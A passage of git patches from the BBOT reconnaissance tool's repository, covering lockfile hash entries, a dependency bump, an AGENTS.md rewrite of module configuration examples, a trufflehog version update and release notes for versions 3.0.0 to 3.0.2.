"https://files.pythonhosted.org/packages/bb/64/9b56f69100d3afdbc9c4fa6e302764f9cb717fbc06a9d50558d98ca89cd2/regex-2026.9.10-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:05fb018cfe7144585fc83882405906ff84994a2d154afc2509ecc7752c51f864", size = 803694, upload-time = "2026-09-09T20:58:15.949Z" }, + { url = "https://files.pythonhosted.org/packages/07/43/d00d59a7c8fd0e070ae8457a8743597f45ad9682b100f57b9c9c405fbdfd/regex-2026.9.10-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6fd555fc9abef50c530869690b2daca054c8811a7aff632d11f9a7b2590b2742", size = 777770, upload-time = "2026-09-09T20:58:17.628Z" }, + { url = "https://files.pythonhosted.org/packages/46/6b/a11d0446484efbc9eb67abec133f254c6d66a1568b8f3fb36d39a73a1129/regex-2026.9.10-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8d5c4518235a2ec1611e57af85fa488d529c1106aacff12adadcedf8687012cd", size = 791234, upload-time = "2026-09-09T20:58:19.476Z" }, + { url = "https://files.pythonhosted.org/packages/12/09/bcd24e78b373fd4f98090caa43eade439223f6703b909be79b9efd9ab0ab/regex-2026.9.10-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:175cf49ce7a994c88b8f15e3cb17cdb66a48ebb2d36de736b8205033db950f89", size = 866259, upload-time = "2026-09-09T20:58:21.683Z" }, + { url = "https://files.pythonhosted.org/packages/8b/c6/c57ba5e94222a813260af4c17ced92d40cdb44737eb6b50979688310b6a3/regex-2026.9.10-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b71649169a9fcf30b395ee01047fa7ad6654a4c900ca75b23c04dedcce6a1f8c", size = 768219, upload-time = "2026-09-09T20:58:23.842Z" }, + { url = "https://files.pythonhosted.org/packages/7b/a2/3820037587d00901ace96c5864335c2cd1b899d5263ea0dd2261359e0bee/regex-2026.9.10-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:8ba1f78bd4fef2d8f84b894ec28ac3481afe6cc07aaa253ad4717ef7b3fe6bcb", size = 858582, upload-time = "2026-09-09T20:58:25.607Z" }, + { url = "https://files.pythonhosted.org/packages/47/f0/f9a838ca6219ae4821de0175e4548db73ef56de5ec08d032fb427732fa07/regex-2026.9.10-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:217e98ba5fc8908ed8ffd4ebac04753a0c831067cbfb495b9821b94cc61eaa76", size = 791405, upload-time = "2026-09-09T20:58:27.406Z" }, + { url = "https://files.pythonhosted.org/packages/f7/bf/67d71cc4e13ae2e0022d21243ca069e0868701a99eb29cdecd13d356e694/regex-2026.9.10-cp314-cp314-win32.whl", hash = "sha256:b298cdc33c5cc6969ff07f0fba19cc73e0fd8576373c50935feadaca2f6b4405", size = 272702, upload-time = "2026-09-09T20:58:29.116Z" }, + { url = "https://files.pythonhosted.org/packages/c1/38/40a93e72703a741235115ed1b1e5f6b869917677b7643005034ce1611d70/regex-2026.9.10-cp314-cp314-win_amd64.whl", hash = "sha256:c32818b28bcd153b25b63038348a9fe9b9fbcddb60df43f204c3ab55eeb57f77", size = 281170, upload-time = "2026-09-09T20:58:30.899Z" }, + { url = "https://files.pythonhosted.org/packages/bf/ac/e95387f00617c16bb41b786d900bacd17eab88afa81b4f263df532b3a731/regex-2026.9.10-cp314-cp314-win_arm64.whl", hash = "sha256:75242f44a3e283106077be4ab717bc535e4701c9d54ad69e195945c22f137a1d", size = 281511, upload-time = "2026-09-09T20:58:32.594Z" }, + { url = "https://files.pythonhosted.org/packages/39/e5/a4b12262edc488a8a7a95b672db317dd8aa9bf2fab98297f9c91bb11ad4d/regex-2026.9.10-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:2dd9286093c71afc8f55ef035c5b9d2776641fd72c6535f1febc92d0b0be9666", size = 501128, upload-time = "2026-09-09T20:58:34.306Z" }, + { url = "https://files.pythonhosted.org/packages/55/c8/9ca31c0fa5197ded8614c8ae0e105bcff2d979025ffa3c75580baa334e2f/regex-2026.9.10-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:71879292c9c7ac67b1680345b16daba1be937cb027362cfa04e68f65db2dcfdd", size = 299428, upload-time = "2026-09-09T20:58:36.296Z" }, + { url = "https://files.pythonhosted.org/packages/2b/d1/ee7662561735f90475443c3ca1977e5cecaeaa8f29620dec75580aebc839/regex-2026.9.10-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:5ccd139b2061132e7b265cfb4b4721baeb9f8928b81415304abf1ec7e3181c26", size = 294494, upload-time = "2026-09-09T20:58:37.964Z" }, + { url = "https://files.pythonhosted.org/packages/d9/b1/333168e45ed6cfe71f6d17e21e5f54725f44d171f84edd12469a2f739227/regex-2026.9.10-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e7327795089ddb44912dce1434e1d7244be2e9fb48fcc2d6782936af7a3062db", size = 814925, upload-time = "2026-09-09T20:58:40.438Z" }, + { url = "https://files.pythonhosted.org/packages/bc/a5/df1b38536d0a3b24a030eb4130ce98b403cc925220ff530f5313a7c436eb/regex-2026.9.10-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ff4d7b14ea19e50c8d9d6d83f45bd9b45cbb624c07ac1fa54db0a019049abed7", size = 873323, upload-time = "2026-09-09T20:58:42.349Z" }, + { url = "https://files.pythonhosted.org/packages/93/ea/aa71fe62dd63a8336bbdec1ff002a6c53b40ccfca95961c18ee4f09bf03c/regex-2026.9.10-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4f0407474ffac8e5e89d93ca41d60891e29f0ab8423eb66ff292d850a86a0843", size = 923080, upload-time = "2026-09-09T20:58:44.488Z" }, + { url = "https://files.pythonhosted.org/packages/86/38/49f8d6fd34fc1a9c75b5b96364ebdde702a8144e5ed63d2213c58d454c27/regex-2026.9.10-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1ad10a135fa0b4e4a462a61d07c6654d7518cfdb5cb8da08f9ff7d61384af1fe", size = 821284, upload-time = "2026-09-09T20:58:46.56Z" }, + { url = "https://files.pythonhosted.org/packages/32/45/91a977c96d4be13d1ade8208c260c26841c836d4c91745e1828a30589070/regex-2026.9.10-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9fbd2e5d8002dc49a6129fb321ec51c57a025e752ed525ddce0ba9223c4350a7", size = 789256, upload-time = "2026-09-09T20:58:48.473Z" }, + { url = "https://files.pythonhosted.org/packages/2d/79/4d110bf01bf9651bf9b3f88a6d9fa7e643e0586921a18432b25a478edbfa/regex-2026.9.10-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4a761ea45f2ad74c575ef5850ea514cef97302a552d3c7c9d1a1a870d4661d6c", size = 803722, upload-time = "2026-09-09T20:58:50.286Z" }, + { url = "https://files.pythonhosted.org/packages/e7/67/b587a0d3bbac2635309ed9c40c197120c39e1ec0afb8813cbed1338fdd75/regex-2026.9.10-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:75aa39d3f4f1650eea84e46b0d8cefe77dd5478c10e3d0aaf0b0f00493475a7a", size = 870085, upload-time = "2026-09-09T20:58:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/07/fc/0827bca20ddba1d70fa5111a2a64e6b6b38bfdab43fc435022b54172a111/regex-2026.9.10-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f5c629df03adec31ee505dda3c8988f106c9390e4cbd343600036eb8b3d6724f", size = 776970, upload-time = "2026-09-09T20:58:54.478Z" }, + { url = "https://files.pythonhosted.org/packages/9b/03/ab9d08d30568ca868791bfb99551db60b947f05e2e65dcd1261e87083c21/regex-2026.9.10-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3a66e40a1a20de96a2fee00ed67e11012b62d85b277688258677fd19997addb7", size = 863611, upload-time = "2026-09-09T20:58:56.432Z" }, + { url = "https://files.pythonhosted.org/packages/5e/6d/8063ae86b543ae878a7d6e7ba21ebf0af4af06161230e0012e2d652320c6/regex-2026.9.10-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:968c1e33edd9a104d1bf24c8d476c72de7e3839ae7f894b37e9e4f4739fdeeca", size = 804064, upload-time = "2026-09-09T20:58:59.066Z" }, + { url = "https://files.pythonhosted.org/packages/c5/63/b19305c4b8d3d7867699f7d83c43550273d91a2f31793452d87edb1d259f/regex-2026.9.10-cp314-cp314t-win32.whl", hash = "sha256:fbc4e2f3cb7ce8436154e6483079e7d35eeb321a952fa936e180300630d8b873", size = 274607, upload-time = "2026-09-09T20:59:00.942Z" }, + { url = "https://files.pythonhosted.org/packages/32/b8/1695072a512a49060294024e23b945eeb87675b02c06e53a92a1b42b0bfd/regex-2026.9.10-cp314-cp314t-win_amd64.whl", hash = "sha256:c37fa93bf18bf4f90b01c0fa9f11ea567ee4b7dd8bf96e63663e5edc37aa38cf", size = 283944, upload-time = "2026-09-09T20:59:02.876Z" }, + { url = "https://files.pythonhosted.org/packages/a9/9f/65bac17f39991a67e22f8b3c849fdc02a56147c97029b5351494341959b4/regex-2026.9.10-cp314-cp314t-win_arm64.whl", hash = "sha256:ffc2da104e43db716ce30cef9f28049a1faa6aca385dd8771b033268d0730b07", size = 283780, upload-time = "2026-09-09T20:59:05.009Z" }, ] [[package]] From fd5bed000e77cc930aed223d472165d7ad2ed628 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 15 Sep 2026 15:58:26 -0400 Subject: [PATCH 078/256] Bump pytest-rerunfailures from 16.6 to 16.6.1 (#3433) Bumps [pytest-rerunfailures](https://github.com/pytest-dev/pytest-rerunfailures) from 16.6 to 16.6.1. - [Changelog](https://github.com/pytest-dev/pytest-rerunfailures/blob/master/CHANGES.rst) - [Commits](https://github.com/pytest-dev/pytest-rerunfailures/compare/16.6...16.6.1) --- updated-dependencies: - dependency-name: pytest-rerunfailures dependency-version: 16.6.1 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 2c3bf08c51..2d3db041a5 100644 --- a/uv.lock +++ b/uv.lock @@ -2408,15 +2408,15 @@ wheels = [ [[package]] name = "pytest-rerunfailures" -version = "16.6" +version = "16.6.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "packaging" }, { name = "pytest" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/ed/63/0114e45d4b2fcd5f6297dac655c067b47de28be4d33e088f200f0f2c4c28/pytest_rerunfailures-16.6.tar.gz", hash = "sha256:29dbfee46f542073c888e0ed4e81c51e15b9096f49a299eb1a759629c601684a", size = 42806, upload-time = "2026-08-17T07:11:00.447Z" } +sdist = { url = "https://files.pythonhosted.org/packages/20/ce/065fde089d5a7f46fe8372c3f340c7aaa8708734d2e8ae3032f0c29a4b1d/pytest_rerunfailures-16.6.1.tar.gz", hash = "sha256:20ac38d31f9319c4e8f43fe0d0e9c22755508e8e7987a88de6d7fd93fc6bdabb", size = 47719, upload-time = "2026-09-03T06:50:07.893Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/5d/5e/1e994889673d7a0da11651f17ef789b6c83bfe349f29f871873dd3802445/pytest_rerunfailures-16.6-py3-none-any.whl", hash = "sha256:6af2d1ebd6e5cb79666ac408942cd6a0672a49fefd8523664770718560795e13", size = 19137, upload-time = "2026-08-17T07:10:59.121Z" }, + { url = "https://files.pythonhosted.org/packages/0b/0d/4da1860f933e271569405fd8adef7f3e7f1c2bd1b544d2ee83a8e0acf1d2/pytest_rerunfailures-16.6.1-py3-none-any.whl", hash = "sha256:0c38d314a0a7e32795f2dbdeeb2b3d141ecf3d3abe10c8c32dae223d45ac7b3d", size = 21035, upload-time = "2026-09-03T06:50:06.601Z" }, ] [[package]] From e1cc6df0bba398afc6fd265dd59ddbd2ff9956a6 Mon Sep 17 00:00:00 2001 From: Cyrus Field <100247628+repins267@users.noreply.github.com> Date: Wed, 16 Sep 2026 14:20:42 -0600 Subject: [PATCH 079/256] AGENTS.md: fix the options section and refresh stale module examples (#3420) * AGENTS.md: document `class Config`, not the legacy options dict The Options section documented `options` / `options_desc` dicts, but BBOT 3.0+ refuses to load a module that declares them: [CRIT] Module "..." declares a legacy `options` dict, which is no longer supported in BBOT 3.0+. Since AGENTS.md is what we hand contributors (and their LLMs) before they write a module, this sent them straight into a module that won't load. Replaced with the pydantic `class Config(BaseModuleConfig)` form actually in use -- the robots.py example is that module's current code, plus a shodan_dns example showing `sensitive` / `mandatory` on an API key. * AGENTS.md: refresh examples that no longer match the code sslcert was reworked in 3.0 -- it now watches HTTP_RESPONSE instead of OPEN_TCP_PORT and no longer declares options, _module_threads, filter_event, deps_pip or deps_apt. AGENTS.md still cited it for all of those, so several examples described attributes the module doesn't have. Repointed each to a module that currently has the attribute, keeping the same teaching point: watched_events OPEN_TCP_PORT sslcert -> fingerprintx _module_threads sslcert -> iis_shortnames (4) deps_pip sslcert -> badsecrets deps_apt sslcert -> git_clone filter_event (False, reason) sslcert -> apkpure Also corrected sslcert's own flags example: it carries `safe`, which the section above requires, and it reads certs from already-fetched responses rather than connecting to ports itself. The sslcert citations that are still accurate (produced_events, scope_distance_modifier, _priority) are unchanged. --- AGENTS.md | 59 +++++++++++++++++++++++++++++++------------------------ 1 file changed, 33 insertions(+), 26 deletions(-) diff --git a/AGENTS.md b/AGENTS.md index 5f29221fd8..639171da86 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -265,7 +265,7 @@ setup() --> handle_event() (called many times) --> finish() --> report() Event types this module wants to process. The module's `handle_event()` is only called for these types. ```python -# sslcert.py - watches for open ports to grab SSL certs from +# fingerprintx.py - watches for open ports to fingerprint the service behind them watched_events = ["OPEN_TCP_PORT"] # newsletters.py - watches HTTP responses to scan HTML @@ -302,8 +302,8 @@ Common flags: # crt.py - queries a third-party API, never touches the target flags = ["subdomain-enum", "passive"] -# sslcert.py - connects directly to target ports -flags = ["affiliates", "subdomain-enum", "email-enum", "active", "web"] +# sslcert.py - reads certs from responses the scan already fetched +flags = ["safe", "affiliates", "subdomain-enum", "email-enum", "active", "web"] ``` ##### `meta` (dict) @@ -324,27 +324,33 @@ meta = {"description": "Query API for subdomains", "auth_required": True} #### Options -##### `options` / `options_desc` (dict) -User-configurable settings. Access them via `self.config.get("option_name")`. +##### `class Config(BaseModuleConfig)` +User-configurable settings are declared as a nested `Config` class using pydantic fields. Access +them via `self.config.get("option_name")`. + +> The legacy `options` / `options_desc` dicts are **no longer supported in BBOT 3.0+** -- a module +> that declares them fails to load with a `CRITICAL` message. ```python # robots.py - configurable parsing options -options = {"include_sitemap": False, "include_allow": True, "include_disallow": True} -options_desc = { - "include_sitemap": "Include 'sitemap' entries", - "include_allow": "Include 'Allow' Entries", - "include_disallow": "Include 'Disallow' Entries", -} +from bbot.core.config.models import BaseModuleConfig, Field + + +class robots(BaseModule): + class Config(BaseModuleConfig): + include_sitemap: bool = Field(False, description="Include 'sitemap' entries") + include_allow: bool = Field(True, description="Include 'Allow' Entries") + include_disallow: bool = Field(True, description="Include 'Disallow' Entries") -# In handle_event(): -if self.config.get("include_sitemap") is True: - ... + # In handle_event(): + # if self.config.get("include_sitemap") is True: + # ... ``` ```python -# sslcert.py - timeout and behavior options -options = {"timeout": 5.0, "skip_non_ssl": True} -options_desc = {"timeout": "Socket connect timeout in seconds", "skip_non_ssl": "Don't try common non-SSL ports"} +# shodan_dns.py - an API key, marked sensitive and mandatory +class Config(BaseModuleConfig): + api_key: str | list[str] = Field("", description="Shodan API key", sensitive=True, mandatory=True) ``` --- @@ -445,8 +451,8 @@ def _incoming_dedup_hash(self, event): How many `handle_event()` calls can run concurrently. Increase this for I/O-bound modules. ```python -# sslcert.py - connects to many hosts in parallel -_module_threads = 25 +# iis_shortnames.py - many short requests per host +_module_threads = 4 ``` ##### `_batch_size` (int) -- default: `1` @@ -480,16 +486,16 @@ _shuffle_incoming_queue = False Python packages to install. ```python -# sslcert.py -deps_pip = ["pyOpenSSL~=25.3.0"] +# badsecrets.py +deps_pip = ["badsecrets~=1.2.1"] ``` ##### `deps_apt` (list) System packages to install. ```python -# sslcert.py -deps_apt = ["openssl"] +# git_clone.py +deps_apt = ["git"] ``` ##### `deps_modules` (list) @@ -595,10 +601,11 @@ async def handle_batch(self, *events): Called before `handle_event()`. Return `True` to accept, `False` to reject, or `(False, "reason")` to reject with a logged reason. ```python -# sslcert.py - skip ports that don't typically use SSL +# apkpure.py - only handle Android apps async def filter_event(self, event): - if self.skip_non_ssl and event.port in self.non_ssl_ports: - return False, f"Port {event.port} doesn't typically use SSL" + if event.type == "MOBILE_APP": + if "android" not in event.tags: + return False, "event is not an android app" return True ``` From 2d7ef0d35f3e88c5bfc11ff99e18fd72e654170a Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Wed, 16 Sep 2026 16:21:29 -0400 Subject: [PATCH 080/256] Update trufflehog (#3418) --- bbot/modules/trufflehog.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index d457e292d2..010ee5520e 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -15,7 +15,7 @@ class trufflehog(BaseModule): } class Config(BaseModuleConfig): - version: str = Field("3.97.2", description="trufflehog version") + version: str = Field("3.97.4", description="trufflehog version") config: str = Field("", description="File path or URL to YAML trufflehog config") only_verified: bool = Field(True, description="Only report credentials that have been verified") concurrency: int = Field(8, description="Number of concurrent workers") From c01a52d6615efe1d35794e65ffbc9b5950ff0e3e Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Wed, 16 Sep 2026 16:47:17 -0400 Subject: [PATCH 081/256] Add 3.0.0-3.0.2 release notes to release history (#3408) --- docs/release_history.md | 143 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 143 insertions(+) diff --git a/docs/release_history.md b/docs/release_history.md index 3e4776af4e..aa0aa7af06 100644 --- a/docs/release_history.md +++ b/docs/release_history.md @@ -1,3 +1,146 @@ +### 3.0.2 - Aug 24, 2026 +- [https://github.com/blacklanternsecurity/bbot/pull/3332](https://github.com/blacklanternsecurity/bbot/pull/3332) + +#### Highlights + +- blasthttp bumped to 0.10.0 ([#3385](https://github.com/blacklanternsecurity/bbot/pull/3385)). `Response.decode_error` is surfaced on `HTTP_RESPONSE` events and tagged `decode-error`, so an undecoded body is never treated as content. `redirect_cookies` now passes through `WebHelper.request()`. +- New `js-audit` preset (`bbot/presets/web/js-audit.yml`). trufflehog streams HTTP bodies via stdin and includes the source URL on findings; its `_module_threads` is bumped to 2. +- Test suite parallelized with pytest-xdist ([#3353](https://github.com/blacklanternsecurity/bbot/pull/3353)). +- Fix: custom YARA rules matching but emitting nothing ([#3374](https://github.com/blacklanternsecurity/bbot/pull/3374)). +- Fix: `docker_pull` crash on a failed registry request. +- Reinstall module deps when they're missing from the environment ([#3338](https://github.com/blacklanternsecurity/bbot/pull/3338)). Adds `packaging` as a runtime dependency. +- Raise process pool `max_tasks_per_child` from 25 to 250 ([#3375](https://github.com/blacklanternsecurity/bbot/pull/3375)). +- CI: pass benchmark refs through env and quote them ([#3354](https://github.com/blacklanternsecurity/bbot/pull/3354)). +- nuclei 3.11.0 to 3.11.1 ([#3367](https://github.com/blacklanternsecurity/bbot/pull/3367)); trufflehog 3.95.9 to 3.97.0 ([#3376](https://github.com/blacklanternsecurity/bbot/pull/3376)). + +#### Maintenance + +- Dependabot bumps across the uv and github-actions groups: xxhash 4.0.0, ruff 0.16.2, pre-commit 4.6.2, fastapi 0.141.1, uvicorn 0.52.1, lxml 6.1.1, pip 26.2.1, packaging 26.3, tldextract 5.3.2, websockets 16.1.1, mmh3 5.2.1, orjson 3.11.9, regex 2026.7.19, cachetools 7.1.7, pytest-env 1.7.0, pytest-httpserver 1.1.5, actions/setup-python 7. + +### 3.0.1 - Jul 21, 2026 +- [https://github.com/blacklanternsecurity/bbot/pull/3271](https://github.com/blacklanternsecurity/bbot/pull/3271) + +#### Fixes + +- Restore cloudcheck tag propagation to URL / OPEN_TCP_PORT children ([#3309](https://github.com/blacklanternsecurity/bbot/pull/3309)). `_minimize()` was wiping `_resolved_hosts` on parent events, starving `dnsresolve` when child events reached it. Cloud tags never made it past the DNS_NAME. +- Fix `virtualhost.finish()` crash when the baseline request returned `None` ([#3273](https://github.com/blacklanternsecurity/bbot/pull/3273)). +- Escape control characters in console output so raw bytes in scan data can't garble the terminal ([#3274](https://github.com/blacklanternsecurity/bbot/pull/3274), closes [#3258](https://github.com/blacklanternsecurity/bbot/issues/3258)). +- Fix stale `baddns` config key in the `kitchen-sink` preset; adds a test that validates every bundled preset ([#3280](https://github.com/blacklanternsecurity/bbot/pull/3280), closes [#3279](https://github.com/blacklanternsecurity/bbot/issues/3279)). +- Fix `openssl_dev_headers` dep check to actually require the header, so minimal images (e.g. `python:3.11-slim`) no longer skip installing `libssl-dev` ([#3282](https://github.com/blacklanternsecurity/bbot/pull/3282), closes [#3272](https://github.com/blacklanternsecurity/bbot/issues/3272)). +- Point API-key docs to `secrets.yml` in the sections that still mentioned `bbot.yml` ([#3283](https://github.com/blacklanternsecurity/bbot/pull/3283), closes [#3270](https://github.com/blacklanternsecurity/bbot/issues/3270)). + +#### waf_bypass improvements + +- Lower `neighbor_cidr` default from /24 to /28 (module + `waf-bypass` preset). +- Parallelize bypass checks in `finish()` up to 100 by default. +- Distinguish direct vs neighbor bypass candidates in log output. +- Demote non-IP DNS result log from warning to verbose. + +#### Tooling updates + +- Update `nuclei` to 3.11.0 ([#3275](https://github.com/blacklanternsecurity/bbot/pull/3275)). +- Update `trufflehog` to 3.95.9 ([#3276](https://github.com/blacklanternsecurity/bbot/pull/3276), [#3295](https://github.com/blacklanternsecurity/bbot/pull/3295)). + +#### Dependency bumps + +`beautifulsoup4` 4.14.3→4.15.0, `cachetools` 6.2.6→7.1.4, `cryptography` 46.0.5→48.0.1, `deepdiff` 8.6.1→9.1.0, `dnspython` 2.7.0→2.8.0, `griffe` 1.15.0→2.1.0, `idna` 3.11→3.18, `lxml` 6.0.2→6.1.0, `maturin` 1.13.3→1.14.1, `mike` 2.1.3→2.2.0, `mkdocs-material` 9.7.1→9.7.7, `mkdocstrings` 0.30.1→1.0.6, `mkdocstrings-python` 2.0.2→2.0.5, `pip` 26.0.1→26.1.2, `pre-commit` 4.5.1→4.6.0, `pydantic` 2.12.5→2.13.4, `pymdown-extensions` 10.20.1→11.0.1, `pytest` 8.4.2→9.1.1, `pytest-cov` 7.0.0→7.1.0, `pytest-env` 1.1.5→1.6.0, `pytest-rerunfailures` 16.1→16.4, `regex` 2026.1.15→2026.7.10, `requests` 2.32.5→2.33.0, `ruff` 0.15.18→0.15.22, `soupsieve` 2.8.3→2.8.4, `starlette` 0.52.1→1.3.1, `tornado` 6.5.4→6.5.7, `urllib3` 2.6.3→2.7.0, `websockets` 15.0.1→16.0, `werkzeug` 3.1.5→3.1.8, `xxhash` 3.6.0→3.8.1, `ansible-runner` 2.4.2→2.4.3, plus `actions/cache` v5→v6. + +### 3.0.0 - Jul 8, 2026 +- [https://github.com/blacklanternsecurity/bbot/pull/3079](https://github.com/blacklanternsecurity/bbot/pull/3079) + +!!! warning "Upgrading from 2.x is not drop-in" + + The CLI, flags, preset syntax, event API, config keys, and module set all changed in backwards-incompatible ways. Read the [2.x to 3.0 migration guide](./migration/3.0_breaking_changes.md) before upgrading. The changes most likely to bite: + + - `-s` now means `--seeds`, not `--silent` (silent moved to `-S`). A script passing `-s` for quiet output will now add a seed instead, with no error. + - `--whitelist` was retired: `-t/--targets` now defines scope, and `-s/--seeds` drives the scan. + - `--allow-deadly` was removed, and several flags were renamed (e.g. `noisy` to `loud`). + - Module options are now pydantic-validated; the legacy options dict hard-fails. + - Some event types, event attributes, and config keys were renamed or removed. + +#### Highlights + +- **New HTTP engine (blasthttp):** in-process, rate-limited HTTP replacing the httpx subprocess ([#2992](https://github.com/blacklanternsecurity/bbot/pull/2992), [#3021](https://github.com/blacklanternsecurity/bbot/pull/3021)) +- **New DNS engine (BlastDNS)** ([#3042](https://github.com/blacklanternsecurity/bbot/pull/3042)) +- **Pydantic config + preset validation:** typos and type errors are caught before a scan starts ([#2486](https://github.com/blacklanternsecurity/bbot/pull/2486), [#3058](https://github.com/blacklanternsecurity/bbot/pull/3058)) +- **Scope rework:** clean split between target (scope) and seeds (drivers); `--whitelist` retired ([#2789](https://github.com/blacklanternsecurity/bbot/pull/2789)) +- **Findings and Vulnerabilities unified**, with Severity and Confidence ([#2436](https://github.com/blacklanternsecurity/bbot/pull/2436), [#2740](https://github.com/blacklanternsecurity/bbot/pull/2740)) +- **asndb:** faster ASN enrichment, plus ASNs usable as scan targets ([#2957](https://github.com/blacklanternsecurity/bbot/pull/2957), [#2741](https://github.com/blacklanternsecurity/bbot/pull/2741)) +- **Lightfuzz overhaul:** new SSRF and ESI submodules, far fewer false positives ([#2967](https://github.com/blacklanternsecurity/bbot/pull/2967)) +- **Major performance work:** memory and CPU optimizations, bounded DNS caches, HTTP body stripping, string interning ([#2953](https://github.com/blacklanternsecurity/bbot/pull/2953), [#3085](https://github.com/blacklanternsecurity/bbot/pull/3085), [#3088](https://github.com/blacklanternsecurity/bbot/pull/3088)) +- **Preset naming / tag standardization** across flags, presets, and event tags ([#2986](https://github.com/blacklanternsecurity/bbot/pull/2986)) +- **New modules:** MongoDB / Elastic / Kafka / RabbitMQ / ZeroMQ / NATS outputs, legba, trajan, virtualhost, waf_bypass, dnsspf, Hetzner bucket +- **Modules removed:** wappalyzer, smuggler, digitorus, sitedossier, passivetotal, wpscan + +#### Core & Packaging + +- Relicensed from GPL-3.0 to AGPL-3.0 ([#2769](https://github.com/blacklanternsecurity/bbot/pull/2769)). +- Packaging moved from Poetry to uv + hatchling, and supported Python is now 3.10 - 3.14 ([#2900](https://github.com/blacklanternsecurity/bbot/pull/2900), [#2731](https://github.com/blacklanternsecurity/bbot/pull/2731)). +- Config values and presets are validated with pydantic before a scan runs, so typos and wrong types fail fast instead of silently doing nothing. The legacy per-module options dict is no longer accepted ([#2486](https://github.com/blacklanternsecurity/bbot/pull/2486), [#3058](https://github.com/blacklanternsecurity/bbot/pull/3058), [#3119](https://github.com/blacklanternsecurity/bbot/pull/3119)). +- Malformed YAML in a config or preset now produces a readable error instead of a stack trace ([#3159](https://github.com/blacklanternsecurity/bbot/pull/3159)). +- New `--reset-config` / `--reset-secrets` to regenerate stale config files ([#3240](https://github.com/blacklanternsecurity/bbot/pull/3240)). + +#### Scope & Targeting + +- Scope was reworked around a target/seeds split: `-t/--targets` defines scope, `-s/--seeds` supplies the starting events, `--whitelist` is gone, and `--strict-scope` now means "this exact host only" ([#2789](https://github.com/blacklanternsecurity/bbot/pull/2789)). +- ASNs can be used directly as scan targets ([#2741](https://github.com/blacklanternsecurity/bbot/pull/2741)). +- Files can be passed as targets, seeds, or blacklist entries inside presets, and target lists may contain comments ([#2996](https://github.com/blacklanternsecurity/bbot/pull/2996), [#3031](https://github.com/blacklanternsecurity/bbot/pull/3031)). + +#### HTTP & Web + +- All web traffic now runs in-process through one shared, rate-limited client (blasthttp) instead of a separate httpx subprocess ([#2992](https://github.com/blacklanternsecurity/bbot/pull/2992), [#3021](https://github.com/blacklanternsecurity/bbot/pull/3021)). +- HTTP wildcard/catch-all host detection cuts false positives on servers that answer every request ([#3164](https://github.com/blacklanternsecurity/bbot/pull/3164)). +- `429 Too Many Requests` responses are now honored for rate limiting ([#3145](https://github.com/blacklanternsecurity/bbot/pull/3145)). +- HTTP timeout settings were consolidated into one place ([#3222](https://github.com/blacklanternsecurity/bbot/pull/3222)). +- SSL verification was split so BBOT verifies its own infrastructure calls by default while still not verifying untrusted target traffic ([#3186](https://github.com/blacklanternsecurity/bbot/pull/3186)). + +#### DNS + +- New DNS resolution engine, BlastDNS ([#3042](https://github.com/blacklanternsecurity/bbot/pull/3042)). +- Fixed the DNS brute-force canary check, which was silently non-functional ([#3005](https://github.com/blacklanternsecurity/bbot/pull/3005)). +- SPF records now yield the IPs and CIDRs they authorize ([#3144](https://github.com/blacklanternsecurity/bbot/pull/3144)). +- Better graph fidelity for shared infrastructure, and noisy PTR floods are collapsed / filtered by default ([#3141](https://github.com/blacklanternsecurity/bbot/pull/3141), [#3115](https://github.com/blacklanternsecurity/bbot/pull/3115), [#3039](https://github.com/blacklanternsecurity/bbot/pull/3039)). + +#### Findings & Output + +- Findings and Vulnerabilities are now a single event type carrying Severity and Confidence ([#2436](https://github.com/blacklanternsecurity/bbot/pull/2436), [#2740](https://github.com/blacklanternsecurity/bbot/pull/2740)). +- Human-readable stdout for every event type, improved URL display, and a finding-severity breakdown in the status line ([#3035](https://github.com/blacklanternsecurity/bbot/pull/3035), [#3023](https://github.com/blacklanternsecurity/bbot/pull/3023), [#3024](https://github.com/blacklanternsecurity/bbot/pull/3024)). +- Output modules are additive: enabling one keeps the defaults, with a new `exclude_output_modules` to opt out ([#3221](https://github.com/blacklanternsecurity/bbot/pull/3221)). +- Findings are de-duplicated in output, and `--no-color` is supported 